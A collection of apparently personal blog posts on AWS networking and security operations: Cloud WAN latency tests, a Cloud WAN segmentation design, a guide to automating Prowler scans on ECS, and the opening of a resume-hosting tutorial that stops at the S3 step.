Table of Contents

• Introduction
• Testing Methodology and Setup
• Test Results and Data Analysis
  • Test 1 – S3 Upload/Download
  • Test 2 – S3 List and Download 100,000 Small Objects
  • Test 3 – Ping Latency Tests Between EC2 Instances
  • Test 4 – Ping Latency to External Services
• Key Observations and Takeaways

Originally written for GuidePoint Security and shared here with permission.

Introduction

AWS Cloud WAN is a service that can help organizations manage and visualize their global networking infrastructure. It enables complex network connectivity between both AWS and non-AWS environments without the challenge of managing dozens or hundreds of connections through services like VPC peering or Transit Gateway. With all of that being said, the abstraction of the management of these resources may cause concern for latency-sensitive applications. In order for organizations to make more informed decisions on whether Cloud WAN may be an effective solution for network management we conducted a battery of tests to determine what configurations will function for varying requirements.

For the purposes of conducting these tests, infrastructure was built and deployed as depicted in the architectural diagram below. For more information on how this architecture was designed and functions check out this article.

Important Note: These tests are not intended as a direct “Cloud WAN vs. non-Cloud WAN” head-to-head comparison of the exact same route or resource. Rather, each test examines a specific pathway—some using Cloud WAN and some not—to see if the results meet (or do not meet) the latency tolerance or throughput requirements of a hypothetical application.

Testing Methodology and Setup

Four key tests were conducted spanning both latency and throughput to both internal and external resources and from a variety of regions, through a variety of networking pathways. Below is a table with key information about each test. For consistency the upload/download operations were all conducted using a t2.micro EC2 instance with a 20gb drive attached. All upload, download, and list tests were conducted three (3) times and results show the average of all tests conducted. The ICMP tests were run for fifteen (15) consecutive pings and again captured as an average along with minimum, maximum, and jitter to show the range of the results.  All tests were conducted in the us-east-1, us-east-2, and us-west-2 regions so results may vary slightly when employing other regions.

Test Results and Data Analysis

Test 1 – S3 Upload/Download

The purpose of the upload and download test was to test throughput for a small number of large files. The first pathway tested was a Gateway VPC Endpoint deployed into the same subnet as the EC2 instance. Specifically for services that support Gateway endpoints this is a viable option even in large network because Gateway endpoints are free and having them deployed into each VPC does not affect budgets.

The second pathway tested is perhaps more relevant for services that do not support Gateway endpoints or even custom shared services organization may be hosting. In this case the traffic is initiated on the EC2 instance but traverses through the AWS Cloud WAN network, presumably hitting a managed Transit Gateway and then forwarded in line with the rules of the network to the Shared Services VPC within the same region and ultimately to the Interface VPC endpoint.

The third test utilized the publicly available S3 endpoints through an EC2 instance deployed in a public subnet (default route to an IGW). The results we see here would likely be very similar for instance using a NAT gateway within the same region along with the public endpoints.

The final test was an extreme example where we are forcing the traffic cross-region to an Egress VPC. In this case the traffic started in the us-east-2 Production Segment and was forwarded to the us-east-1 Egress Segment. Generally speaking, for organizations using NAT gateways in their Egress setup, there should be an Egress VPC/Segment with one or more NAT gateways in all regions in use. However, for organizations deploying more substantial (and more costly) inspection architecture it may only be worth deploying those appliances in a set number of regions and sending traffic in regions without those devices through the nearest one. Because of this use case, it is important to know what type of latency may be added with this cross-region egress of traffic.

Some of the key takeaways of these results are that between Gateway VPC endpoints and Interface VPC endpoints the results are fairly similar, despite the fact that the latter has to traverse the Cloud WAN network to access the endpoint. Public S3 endpoints are almostas good, presumably the slight reduction in throughput is due to a need to traverse the public internet where the endpoint paths remain within the AWS internal network. Finally, the cross-region egress adds significant latency, although not by any means intolerable for applications that are not particularly latency sensitive. Especially for the large file transfer (5Gb) that achieved a throughput is ~36-39 MiB/s in comparison to the ~54-59 MiB/s for the first three tests. This test was conducted between us-east-2 (traffic source) and us-east-1 (egress), so the throughput would also likely be affected by how geographically close the source and egress regions are.

Test 2 – S3 List and Download 100,000 Small Objects

The S3 list and download tests were conducted to test how quickly each pathway could paginate and retrieve many very small objects (such as logs for example). For this test, 100,000 1Kb objects were generated and placed within the S3 bucket used for testing. The exact same four pathways were used as in the first test.

In this case, the time it took to list the objects through all four pathways was approximately the same. Why was the cross-region listing marginally faster? Your guess is as good as mine. Perhaps the slightly more pertinent result here is that we see a similar pattern in the speeds of the four pathways for downloading as the first test, with a slight exaggeration of the results due to the nature of this particular test. This indicates that Gateway endpoints within the same VPC have the absolute lowest latency in response time for new requests, closely followed by Interface VPC endpoints through the Cloud WAN network, and the IGW in public subnets. Unsurprisingly, the cross-region download was the slowest, but unlike the first test the jump here is pretty significant, indicating that the delay from sending a large number of small requests is more affected by the cross-region solution compared to the small number of large requests.

Test 3 – Ping Latency Tests Between EC2 Instances

The purpose of the third test was to evaluate system-to-system communication between EC2 instances using various pathways.  Something to consider here is that all instances are using the standard networking interfaces available on EC2 instances, so even the best of the latency testing we see here could be improved by employing some of the services and features available in AWS expressly designed for things like High-Performance Computing (HPC) clusters.

The first pathway tested was a best-case-scenario for average components which was two EC2 instances deployed not only in the same VPC but also the same AZ. This traffic obviously does not traverse the Cloud WAN network but helps establish a baseline for further tests.

The second pathway is similarly the same VPC and region but different AZ’s. The third and fourth tests are different VPCs, same region, and testing both same and different AZ’s. This is the first set of pathways that traverses the Cloud WAN network but does not leave the region. Finally, the last two tests are cross-region tests from us-east-1 to us-east-2, then us-east-1 to us-west-2.

The results of these tests indicate that when systems are within the same AZ, regardless of whether they are in the same VPC or not, they have similar latency (1.02 and 1.04 ms respectively). Similarly, for instances within the same region but across AZs there is nearly the same latency whether they are in the same VPC or traversing the Cloud WAN network into another VPC (1.50 and 1.44 ms). Most likely this means that underneath the hood AWS is employing the same managed infrastructure to support the connectivity between systems both within and without a VPC. The connectivity created through Cloud WAN is an easier way to create a logical design to the connectivity but is supported by the same underlying components. Finally, the cross-region testing shows an increased latency - 15.65 ms for east to east, and 65.54 ms for east to west, which is expected. These findings show that ideally organizations should have at least one set of shared services and egress components deployed per set of regions, i.e. (us-east-#). The worst-case scenario involves not only traversing to another region to access systems but also reaching a region separated by a substantial real-world geographical distance. Fortunately, despite varying amounts of latency, all connectivity options have extremely low rates of packet loss* and relatively low jitter (aka variability in test results).

* The results of this test showed no packet loss, but that does not mean that there is a guarantee of 0% packet loss on these network pathways, only that the odds are very low of any loss.

Test 4 – Ping Latency to External Services

The purpose of this final test was to evaluate latency to publicly available services outside of AWS. For this test, one of the Google DNS servers (8.8.8.8) was used as a consistent external source in order to better isolate the internal AWS components in the results. Three pathways were considered, the first was a NAT gateway within the same region, and the second was a NAT gateway in another region (us-east-2 to us-east-1). Both tests utilized the Cloud WAN Egress segment. The final test used an IGW deployed within the same VPC.

Once again, these tests show that regardless of exactly how traffic is egressing, as long as the egress is within the same region the latency is pretty minimal. The only scenario that adds significant latency is a cross-region egress. This metric would likely also increase proportionally with the geographical distance between the regions.

Key Observations and Takeaways

Overall, the results indicate that AWS Cloud WAN introduces negligible overhead for intra-region traffic, whether connecting through Gateway or Interface VPC endpoints. Although Interface endpoints rely on Cloud WAN routing in the background, they still deliver nearly the same latency and throughput as the traditional Gateway endpoints when operating in the same region. Likewise, even cross-VPC connections within one region exhibit latency comparable to staying entirely within a single VPC, suggesting that AWS manages traffic through the same underlying high-performance backbone.

When it comes to cross-region traffic, there is a predictable increase in latency that becomes more pronounced for large transfers or repeated small object requests, such as log files. Cloud WAN is generally an excellent choice for establishing global connectivity. However, for workloads demanding very low latency, the ideal approach is to deploy NAT gateways, shared services, and inspection appliances in every region you operate in, within the Cloud WAN configuration. At a minimum, group your regions by geographical proximity (for example, at least one of the us-east-* regions) and ensure these services exist in each group. Forcing traffic across regions that fall outside of these groupings constitutes the worst-case scenario in terms of added latency. On the other hand, if your environment can tolerate slight increases in latency, Cloud WAN’s centralized management helps simplify network operations without compromising overall reliability or performance.

Here are the most important takeaways to consider:

• Minimal Overhead Within the Same Region: Whether traffic is directed through Gateway or Interface VPC endpoints, the performance difference is typically negligible when staying in-region.
• Cross-Region Latency: As expected, latencies jump when data must traverse geographical distances, indicating the need for regional egress endpoints and shared services if your applications are latency-sensitive.
• Small vs. Large Transfers: Large files transfer quickly within the same region, but multiple small requests (e.g., logs) see more latency impact when crossing regions.
• Public vs. Private Endpoints: Public S3 endpoints and external services (e.g., 8.8.8.8) show minimal overhead so long as the traffic exits in the same region. Shifting egress to another region increases response times significantly.
• Architectural Considerations: To balance performance and costs, you may deploy specialized egress or inspection appliances in only a few strategic regions while remaining aware of the added latency for workloads in other regions.

In conclusion, AWS Cloud WAN proves to be a strong option for organizations seeking to simplify global network management without facing prohibitive latency. While it is crucial to deploy key resources in the same regions as your workloads when low latency is paramount, Cloud WAN offers a flexible and high-performing solution for most enterprise connectivity needs.

Table of Contents

• Introduction
• Overview of Architecture
• Implementation
• Centralized Management and Visibility
• Challenges and Lessons Learned
• Key Takeaways

Originally written for GuidePoint Security and shared here with permission.

Introduction

As organizations grow so does their infrastructure, often without a well-designed underlying infrastructure to support this growth. At GuidePoint Security we interact regularly with customers looking to establish that foundation, or perhaps attempting to untangle the mess that is a growing environment which was not well structured to begin with.

Three key areas where we see this lack of structure start to affect operations are multi-account management, Identity and Access Management, and networking. Much like any problem in AWS, there are always a variety of ways to address and solve these issues where each solution may be a slightly better fit for different use cases.

Specifically, when it comes to networking, the first and most straightforward way to create connectivity between applications in separate VPC's or accounts is of course VPC peering. The limit we reach with this is that the number of peering connections required scales quadratically, so any more than a handful of VPCs and this can very quickly become unmanageable. Enter Transit Gateway. Transit Gateway's hub and spoke design allows for many VPCs to connect to a central point which simplifies the process of creating that connectivity. Undoubtedly, the addition of Transit Gateways is one of the most significant upgrades in AWS networking. However, with further growth even TGW's can become difficult to manage and centrally visualize, especially with more complex networking requirements such as centralized ingress/egress, inspection architecture, and separation between different enclaves (i.e. prod, non-prod).

Underneath the hood, AWS Cloud WAN ultimately uses managed Transit Gateways to create connectivity for your applications to the necessary resources, but by abstracting that layer a bit we can achieve some key benefits. It allows organizations to build a unified global network by automating the deployment of network components and policies. Cloud WAN enables multi-region and multi-account connectivity within AWS, as well as easing the process of connecting non-AWS environments. It also provides centralized control and visibility to simplify management. Cloud WAN also integrates nicely with both AWS native and third-party solutions to funnel both north-south and east-west traffic through inspection points. Finally, in some cases implementing Cloud WAN can also reduce expenses by facilitating shared usage of key services such as VPC endpoints and NAT gateways.

Overview of Architecture

There are several key design decisions to make when architecting an AWS Cloud WAN solution. This starts with region support and segmentation strategy. A Core network edge (CNE) is deployed into each region that you choose when setting up the Cloud WAN network, and each CNE comes at a cost ($0.50 USD per hour = ~$365/month). Therefore, the regional support should be wide enough to support the organization’s needs, but no more. The next and more complex step is to design the segmentation strategy. Segments are the logical structures used to delineate enclaves connected to the network and design policies to allow or disallow connectivity between them.

Two common strategies that can be used to design segments are environment-based segmentation, and application-based segmentation. Environment-based segmentation separates segments based on the environment or stage of deployment, for example, production, development, testing, and shared services/infrastructure. Benefits of this are the ability to easily create environment specific routing and access controls, to prevent things like communication between production and non-production environments. The downside to this strategy is that by default it will allow for mesh connectivity between all systems within the same segment, so ideally it should be layered with additional firewall appliance to create more granular control over what systems and applications can connect with others and over what ports/protocols. Fortunately Cloud WAN is well designed for this type of integration through the use of Network Function Groups (NFGs).

Application-based segmentation instead separates traffic based on different applications or workloads. This allows isolation of critical applications from less critical or public-facing ones, which can limit lateral movement in case of breach. It facilitates slightly more fine-grained control over application-specific security policies without the need to layer an additional firewall appliance. However, it is not capable of unlimited scaling due to a cap of 40 segments per core network, which is not adjustable, and it can also complicate the policy design.

Generally speaking, we recommend environment-based segmentation, which is exactly what we've done for a proof of concept created to test the capabilities and limitations of AWS Cloud WAN. That said, there are a variety of factors that go into this decision which is always something that experts at GPS can help you with. Shown in the architectural diagram below, the Cloud WAN Core Network is divided into four initial segments: Production, Non-Production, Shared Services, and Egress. Common use-cases for additional segments would be a dedicated segment to facilitate connectivity to an on-premises network, and segments for environments and applications which may have strict regulatory requirements where stricter network controls can be applied to the segment without affecting all other applications. In this case Egress is set up for outbound connectivity only through a NAT gateway, but this segment would be replaced/restructured if the architecture included inspection appliances, and/or centralization of both ingress and egress.

Once you have determined your segmentation strategy the next step is to decide what segments will be allowed to talk to what other segments. A great way to organize this is a matrix which lists all segments at the top of each column and at the beginning of each row in order to mark which pathways are allowed, which pathways are blocked, and in some cases which pathways are allowed through Cloud WAN but sent to an inspection device for more fine-grained control over the traffic. This matrix is key when it comes to writing the policy definition to avoid needing to pause writing to make decisions ad-hoc. Below is the matrix designed for the proof of concept. In addition to allowing or disallowing connections between segments, this matrix can also be used to identify segments that should be isolated, meaning systems within the segment cannot communicate with each other (outside of the VPC), only systems in other allowed segments.

Implementation

For this proof of concept, we used Terraform to deploy the resources consistently and with easy setup/tear down during testing. The Terraform is split into two workspaces, one for deploying the Cloud WAN Core Network, and a second for deploying and connecting a variety of VPCs in multiple regions and segments. This two-stage deployment works well with multi-account deployments because the Core Network is still deployed and managed in a single account, where the VPC deployment can be templated and modified to be deployed per-account depending on what type of environment it is (i.e. prod, non-prod). As long as the Core Network is shared to the account, or to the organization via AWS Resource Access Manager (RAM), establishing the connection from the VPC into the Core Network is relatively easy and works the same when deployed via Terraform or other IaC languages. The allocation of each VPC attachment to a specific segment can also be automated through defining a tagging policy in the core network policy, then tagging the VPC attachment to meet the requirements of the segment that VPC is intended to be a part of.

The most complex part of deploying the Core Network is writing the policy, which is made much simpler by pre-defining connectivity requirements using the traffic enforcement matrix. In this case the policy was written so that both Production and Non-Production could communicate with Shared Services, and Egress, but not with each other. Additionally, Shared Services cannot connect to Egress, and both Shared Services and Egress are isolated to prevent lateral movements within these shared segments. After the initial deployment of VPCs (specifically the Egress VPCs) the policy is updated to create routes to the Egress VPC attachment so that private subnets within Production and Non-Production know where to route internet-bound traffic.

The Shared Services segment provides access to a variety of VPC endpoints for the Production and Non-Production segments, and could also host custom shared services to meet organizational needs. A few things need to be carefully configured for this setup to function. The first is that the VPCs must be configured to enable DNS support and DNS hostnames. This is because when a VPC Endpoint is deployed within a VPC a managed Route 53 Private Hosted Zone is created so that the DNS service within the VPC knows to route the traffic bound for those services to the dedicate VPC Endpoint instead of the public internet endpoints. When the VPC Endpoint is in a centralized VPC, in order to achieve the same routing mechanism, a managed Route 53 Private Hosted Zone must be created and shared with the VPC in question. In addition to this, the VPC endpoints must have a presence within the same Availability Zones (AZs) as the VPCs in other segments, so it's recommended to create VPCs within the Shared Services segment that include at least one subnet for every AZ within the region so that the endpoints can support all AZs within the region*. The Shared Services segment should also have at least one endpoint per service per region, because even if the additional latency of cross-region endpoint access is not an issue, in many cases it is not possible due to region specific encryption keys.

For the proof of concept, the Egress segment provides centralization of NAT Gateways for private subnets within the entire network, and unlike VPC endpoints, it is not required to have a set of NAT Gateways per region, although it is generally recommended. This is because there are no technical limitations preventing the use of cross-region NAT Gateways, however it does add measurable latency to connections. A common use case where cross-region egress would potentially be worth it is when an organization is deploying inspection appliances that are expensive to deploy into every region in which case the added latency of sending traffic cross-region through these appliances is worth the cost reduction.

The Production and Non-Production VPCs are fairly uncomplicated. They are deployed across a handful of regions and AZs, and once the VPC attachment is established, any VPC in any account is centrally visible through the account with the Cloud WAN Core Network.

* AZ's have randomized alias per account and region (i.e. us-east-1a), so you must use the AZ ID (i.e. use1-az1) to ensure proper mapping of AZ support between VPCs, especially in segments such as Shared Services.

Centralized Management and Visibility

The Cloud WAN Management Interface within the AWS Console is nested within AWS Network Manager and provides two main views for visualizing the entire network. The first is a Topology graph which shows a bubble for each region, which then has bubbles for each segment that is available within that region (region-presence is configured per segment), and finally a bubble for each VPC connected to each segment within each region. Below is the Topology graph for the proof of concept deployment:

The Topology tree view shows essentially all the same information but is more structured than the Topology graph and is not moveable.

Another fantastic tool the service provides for visualizing routes is the Logical view. This tool allows you to select source and destination segments and attachments to see if VPCs have connectivity through the network, and if they do, exactly the pathway the traffic takes. For example, here is a pathway that a VPC within the Production segment takes to connect to a Shared Services VPC. In this image we can see the orange line which depicts an uninterrupted pathway between the prod-us-east-1-vpc-attachment and the shared_services-us-east-1-vpc-attachment.

Conversely, here is an image that shows that the attempted connection between a Production VPC and a Non-Production VPC that is interrupted by the lack of a route between the segments. This brings up an important concept which is that Cloud WAN does not have an explicit DENY when defining the core network policy. Instead, all connections are an implicit deny unless explicitly allowed. When traffic attempts to connect to a resource in a segment that is not allowed it is simply dropped because there is no route created between those segments. In this case the orange line shows that each of the VPC at either end of this connection can reach their own segment core, but the segments cannot reach each other. Shared segments such as Egress and Shared Services are also not transitive, so they cannot be used to facilitate a pathway to a segment that is not directly attached. A blackhole route can also be used to explicitly deny specific IPs or IP ranges.

This tool is not only useful for validating intended connectivity and structure of the network, but also beneficial in troubleshooting when resources should have connectivity and don't. As a note here, the AWS Network Reachability Analyzer tool unfortunately does not support Cloud WAN resources (as of the writing of this article). If AWS does eventually add support for tracing traffic through the Cloud WAN network, I think it would be very beneficial along with this tool for troubleshooting and validating configurations.

Among other tidbits of detail available to see within the console for Cloud WAN networks, a final one to highlight is the visibility of routes created automatically. This view really drives home the benefit of the abstraction of the management of the Transit Gateways discussed earlier, because despite the relative simplicity of this proof-of-concept design there is still a fairly large number of individual routes created for each region, segment, and the entire system. The image below shows all of the routes created just for VPCs in us-east-1 attached to the Production segment. It includes routes to other Production VPCs, Shared Services, and a default route pointing towards the Egress attachment for internet connectivity through the centralized NAT Gateways. As you can imagine, the count of these routes created would scale dramatically with more VPCs and more segments, while the management of the core network policy remains very manageable. Additionally, each of the “PROPOGATED” routes are created based on what segments are allowed to talk to each other or within themselves, while the “STATIC” route here was created from the custom route creation within the Cloud WAN core network policy. Despite needing to create the static route in this case to direct the default route to the egress segment, this only needs to be done once and will automatically replicate to all VPCs and segments that the route is configured to apply to.

Challenges and Lessons Learned

• AZ's have randomized alias per account and region (i.e. us-east-1a), so you must use the AZ ID (i.e. use1-az1) to ensure proper mapping of AZ support between VPCs, especially in segments such as Shared Services.
• If you attempt to deploy VPC attachments via IaC within the same Terraform workspace as the Cloud WAN Core Network deployment, there is a bit of a race condition that is difficult to overcome, therefore it is recommended to have a dedicated deployment of the Cloud WAN resources followed by any VPC resources.
• The Cloud WAN Core Network Policy takes a while to finish deploying (~15-30+ minutes) and must be fully completed before any VPC attachments can be created
• Centralizing the VPC endpoints in Shared Services requires DNS support and DNS hostnames to be set to True in other VPCs (i.e. Production and Non-Production VPCs), along with a dedicated Route 53 Private Hosted Zone for each Endpoint that is shared with all VPCs within those other segments that need to use that Endpoint.
• Many if not all Cross-Region endpoints will fail due to a certificate error because the endpoints are region-specific.
• Cross-region egress through shared NAT Gateways is possible but adds measurable (not necessarily intolerable) latency.
• Centralized Egress is much easier to configure than centralized Ingress which requires much more substantial appliances to properly route inbound traffic from the internet, and also negates some of the benefit of services like CloudFront by forcing a decentralized service to be centralized. We generally recommend that ingress web traffic stays decentralized, and leverage AWS-native or 3rd party WAFs for additional protection.
• When migrating existing VPCs into a Cloud WAN network, the final step of the migration should be altering the VPC route tables to start sending traffic into the Cloud WAN network.
• Protecting permissions to the centralized networking infrastructure is critically important – GuidePoint can help define appropriate guardrails to ensure that only authorized individuals have the capacity to modify these network security configuration.

Key Takeaways

As organizations scale, their networks often become a tangled mess of VPC peering connections that don't scale well, leading to operational challenges. Transit Gateway (TGW) helps by centralizing connections, but as environments expand across regions with increasing demands for centralized ingress/egress and inspection, even TGWs grow complex and hard to manage. This lack of structure can create silos, increase costs, and make enforcing consistent policies across accounts difficult.

AWS Cloud WAN simplifies this by automating the deployment of managed TGWs and providing a unified global network layer. It connects VPCs, on-prem data centers, and remote sites while allowing centralized policy enforcement and traffic inspection. By consolidating NAT gateways, VPC endpoints, and other shared services, Cloud WAN reduces duplication and improves visibility. The result is a scalable, secure, and cost-effective way to manage growing, multi-account AWS environments, cutting through complexity with centralized control and automated connectivity. Stay tuned for a future blog post on latency testing within an AWS Cloud WAN network!

In the ever-evolving landscape of cloud security, regularly assessing your AWS environment is paramount. In this guide, we automate daily Prowler scans using Docker, AWS ECR, and ECS, pushing results seamlessly into an S3 bucket which can trigger an array of subsequent actions for data visualization and analysis. Discover the nuances of Docker configurations, the elegance of Amazon EventBridge, and the flexibility of task definitions in this comprehensive walkthrough.

Table of Contents

• Prerequisites

1. Creating the Docker Container
2. Setting up the ECR Registry
3. Configuring the Task Definition
4. Setting up the ECS Cluster
5. Automating with Amazon EventBridge

• Conclusion

Prerequisites

1. AWS Account: Active AWS account with permissions for ECR, ECS, S3, Lambda, and EventBridge.

2. Local Environment:

   • Docker: For building the Prowler container.
   • AWS CLI: For interacting with AWS.
   • Python: Beneficial for potential testing.

3. Knowledge Base: Understand AWS basics, Docker operations, and security assessments.

4. Networking in AWS: VPCs with two subnets that can connect to the internet. (either public subnets, or private subnets with a NAT gateway)

5. IAM Setup: Roles and policies for Prowler scanning and ECS task access to S3.

6. Storage: An S3 bucket to store Prowler results and necessary configurations for any post-storage actions.

With these in place, you're ready to automate security assessments in AWS.

Creating the Docker Container

Initially, to create the docker container, you'll be using your local system, which requires the applications listed in the Prerequisite section. Create a working directory to store some files used, and pull up your preferred command line interface. In creating this guide I used bash in a Linux system.

1. Create a Dockerfile: Start by creating a new file named Dockerfile in your project directory.

2. Input the Dockerfile Content:

   Add the following content to the Dockerfile:

   FROM python:3.9-slim
   
   WORKDIR /prowler
   
   RUN apt-get update && apt-get install -y \
     git \
     awscli \
     && rm -rf /var/lib/apt/lists/*
   
   RUN pip install prowler
   
   ENTRYPOINT ["prowler"]
   

3. Build the Docker Image: From your project directory where the Dockerfile is located, run the following command to build the Docker image:

   docker build -t prowler-auto .
   

   This command tags the Docker image with the name prowler-auto. To verify image creation you can use the command docker images to list your available images.

4. Test the Docker Container Locally: Once the Docker image is built, you can run it locally to ensure Prowler functions as expected. Use the following command:

   docker run --rm prowler-auto -h
   

   This should display the help output for Prowler, indicating that it's working properly. The --rm flag removes the container once it's done executing.

   If you would like to test the container using a command similar to what you may be defining in your task definition, you can use the following command:

   docker run -rm prowler-auto aws -f us-east-1 -M json -B <s3-bucket-name> 
   

   Working through this command the -rm tells docker to remove the container once it's finished executing, then the section following prowler-auto is the remainder of the prowler command we would like to run. In this case -f is the flag to indicate region, if you'd like to scan multiple regions you can list them without anything in between, i.e. -f us-east-1 us-east-2. The -M is the output formats I'm looking for, in this case only JSON, and finally -B is a built in Prowler flag for pushing scan results to an S3 bucket given a bucket name. All of this assumes you have the appropriate permissions configured for running the scan and pushing your results to an S3 bucket.

5. Prepare for Next Steps: Now that your Docker container is ready, you can push it to AWS's Elastic Container Registry (ECR) in the next steps, so keep your terminal or command prompt open.

Setting up the ECR Registry

Amazon Elastic Container Registry (ECR) is a managed Docker container registry service that makes it easier for developers to store, manage, and deploy Docker container images. Follow these steps to set up the ECR registry for your Prowler Docker image:

1. Navigate to Amazon ECR:

   Log in to the AWS Management Console and open the Amazon ECR console at https://console.aws.amazon.com/ecr/.

2. Create a New Repository:

   • Click on Create repository.
   • Provide a name for your repository, for instance, prowler-repository.
   • Configure any other optional settings as needed.
   • Click on Create repository.

Note: You can name the repository anything you'd like, but if you choose a different name be sure to update the command in the next step to reflect that change.

3. Prepare Docker for AWS ECR Login:

   Before pushing the Docker image, you need to authenticate your Docker client to the Amazon ECR registry. Run the AWS CLI get-login-password command:

   aws ecr get-login-password --region <your-region> | docker login --username AWS --password-stdin <your-account-id>.dkr.ecr.<your-region>.amazonaws.com
   

   Replace <your-region> with your AWS region (in both places) and <your-account-id> with your AWS account ID.

4. Tag Your Docker Image:

   Before pushing, you need to tag the Docker image with the ECR repository URL:

   docker tag prowler-auto:latest <your-account-id>.dkr.ecr.<your-region>.amazonaws.com/prowler-repository:latest
   

5. Push the Docker Image to ECR:

   Now, you can push your Docker image to the ECR repository:

   docker push <your-account-id>.dkr.ecr.<your-region>.amazonaws.com/prowler-repository:latest
   

6. Verify in ECR Console:

   Go back to the Amazon ECR console and navigate to your prowler-repository. You should see your Docker image listed there.

Great! You've successfully set up an ECR registry and pushed your Prowler Docker image to it.

Configuring the ECS Task Definition

Task definitions specify the container information for your application in Amazon ECS. Follow the below steps to set up the task definition for your Prowler Docker container:

1. Navigate to Amazon ECS:

   Log in to the AWS Management Console and open the Amazon ECS console at https://console.aws.amazon.com/ecs/.

2. Create a New Task Definition:

   • Click on Task Definitions in the left navigation pane.
   • Click on Create new Task Definition.

3. Configure Task and Container Definitions:

   • Task Definition Name: Provide a name, for instance, prowler-task-definition.
   • Infrastructure Requirements: Leave AWS Fargate selected, and leave everything else as the default unless you would like to adjust the CPU and Memory to your needs.
   • Task Role: Select or create a new role that has the necessary permissions. Ensure this role has the three required Prowler policies and an additional custom policy to put objects into the desired S3 bucket.
   • Task Execution Role: If you don't have one, AWS can create a new role with necessary permissions for you.

• Container Definitions:
  • Name: prowler-container.
  • Image URI: Provide the URL of the Docker image in ECR, e.g., <your-account-id>.dkr.ecr.<your-region>.amazonaws.com/prowler-repository:latest.
  • Port Mappings: Click Remove next to the default container port mapping as this container does not need to expose any ports for inbound traffic.
  • Docker Configuration: Click out on Docker configuration and specify your desired Prowler command in a comma-separated list, for exampleaws,-f,us-east-1,us-east-2,us-west-2,-M,json,-B,<my-bucket-name>.

Note: A convenience of defining the command here and not within the docker container is that when we set up the EventBridge scheduler we can point it at the "latest" revision of this task definition. If you ever need to update what prowler is scanning or where it's being pushed you simply create a new task definition revision and change this command to reflect your updated needs.

• Once all details are filled, click Create.

4. Verify Task Definition:

   Go back to the ECS console and navigate to Task Definitions. You should see your prowler-task-definition listed there.

You've now configured an ECS Task Definition ready to run Prowler scans using your Docker container.

Setting Up the ECS Cluster

Amazon Elastic Container Service (ECS) clusters enable you to manage and scale a fleet of Docker containers. By setting up an ECS Cluster, you create an environment where you can deploy the Prowler scans.

1. Navigate to Amazon ECS:

   Log in to the AWS Management Console and open the Amazon ECS console at https://console.aws.amazon.com/ecs/.

2. Initiate Cluster Creation:

   • Click on Clusters in the left navigation pane.
   • Click on the Create Cluster button.

3. Name the Cluster and Configure Networking:

   • Provide a suitable name for your cluster, e.g., prowler-cluster.
   • Choose an existing VPC and select the appropriate subnets.

4. Choose Infrastructure:

   • Under "Infrastructure," leave the default selection as AWS Fargate.

5. Skip Additional Configurations:

   • Scroll down and adjust any other configurations you'd like to, but beyond this all of the defaults should work.

6. Create the Cluster:

   • Review your configurations, and then click on the Create button.

7. Set Default Capacity Provider Strategy:

   • Once the cluster is created, click on its name to view its details.
   • Click on the "Update Cluster" button in the top right corner.
   • Define a default capacity provider strategy. Select FARGATE and leave the weight as 1.
   • Click Update.

8. Verify Cluster Creation:

   Return to the Clusters page. Your newly created prowler-cluster should now be listed.

Your ECS cluster is set up with a defined default capacity provider strategy and is prepared to run tasks.

Automating with Amazon EventBridge

Amazon EventBridge is a serverless event bus service that allows easy connection between applications using data from your applications, AWS services, and integrated SaaS applications. We'll utilize EventBridge to automate the execution of our Prowler task on ECS at specified intervals.

1. Navigate to Amazon EventBridge:

   Log in to the AWS Management Console and open the Amazon EventBridge console at https://console.aws.amazon.com/events/. Then scroll down and click Schedules under the "Scheduler" feature.

2. Create a New Schedule:

   • Click on Create schedule.
   • Provide a name and description for your schedule, e.g., ProwlerScanScheduler.

3. Define Schedule Pattern:

   • Under Schedule pattern, select Recurring schedule.
   • For daily scans at 6 AM, set the cron expression as 0 6 ? * * *, and choose any Flexible time window per your needs.
   • If you'd like to define date ranges for the scans to start or stop, enter those, otherwise leave it blank and click Next.

4. Select Target:

   • Under Select targets, choose ECS RunTask from the menu.
   • For Cluster, select the ECS cluster you've previously set up, e.g., prowler-cluster.
   • For Task Definition, select your Prowler task definition, e.g., prowler-task-definition.
   • Under Subnets and Security groups, specify the subnet and security group ID's. As a reminder, you can use private subnets if they have internet access via a NAT Gateway. In this case the security group doesn't need any inbound rules and should just have the default outbound rule.

5. Configure Retry Policy (Optional):

   If you wish to retry the execution in case of failures, you can set the Retry policy. In this guide, we're setting it to try 3 times.

6. Set Role:

   Near the bottom of the page we can create or choose a role for the scheduler to use to run the task definition. In this case the role that is created automatically by choosing Create new role is a good choice.

7. Create the Rule:

   Click Next then review all your configurations and then click on the Create button.

8. Verify Rule Creation:

   Return to the main EventBridge dashboard and ensure your ProwlerScanScheduler rule is listed.

Congratulations! You've now automated the execution of your Prowler scan task in ECS using Amazon EventBridge. The task will automatically run every day at 6 AM.

Conclusion

In this guide, we've successfully crafted a system that automates Prowler scans within an AWS environment, efficiently storing the results in an S3 bucket through a streamlined Docker container and ECS task setup. Utilizing EventBridge, we've ensured consistent daily evaluations, providing a dynamic lens into our AWS security posture. Looking forward, the architecture's true power can be unlocked by integrating AWS Lambda. Such a function, triggered by new objects in our S3 bucket, offers the capability to push these Prowler results to various consumers, from AWS's SecurityHub or OpenSearch, or to external visualization tools, magnifying our insights and fortifying our cloud security.

Welcome to this tutorial! Today, we'll guide you through hosting your own resume on AWS. This will not only showcase your resume in a professional way but also your technical prowess by leveraging the AWS platform. Once you've completed this project, creating a QR code to link to it, and adding it to your resume and business cards can be a great way to show potential employers your skills!

Prerequisites

Before we dive in, make sure you have the following:

• An AWS account
• Some HTML/CSS/JS knowledge to create your resume (or willing to learn)
• A local development environment (i.e., Visual Studio Code)
• Python installed on your local machine (for running a local server)

Note: In this project, the Route 53 domain, hosted zone, and CloudFront distribution will cost you approximately $20 a year to host. If you'd like to complete this project and stay entirely in the free-tier, but not have a custom domain and TLS encryption for hosting your resume, you can complete the first two steps only.

Table of Contents

1. Creating Your Resume
2. Setting up S3 for Hosting
3. Setting up Route 53 Domain
4. Configuring ACM for TLS Encryption
5. Setting up CloudFront Distribution
6. Testing Your Website

Creating Your Resume

If you don't have a HTML/CSS/JS resume already, don't worry! There are several templates available that you can modify to your needs. For this tutorial, I will be using a template called Cevee, but you can find a collection of other templates here. Once you've chosen a template, you can use a local IDE, like Visual Studio Code, to edit the code.

To preview your resume locally, navigate to your project root directory, run python3 -m http.server 8080, and go to http://127.0.0.1:8080 or http://localhost:8080 in your web browser.

Once you're satisfied with how your resume looks locally, it's time to move onto AWS.

Setting up S3 for Hosting

Amazon S3 is an excellent option for hosting static websites due to its robustness, scalability, and easy setup process. Here are the steps you need to follow to configure an S3 bucket for static website hosting:
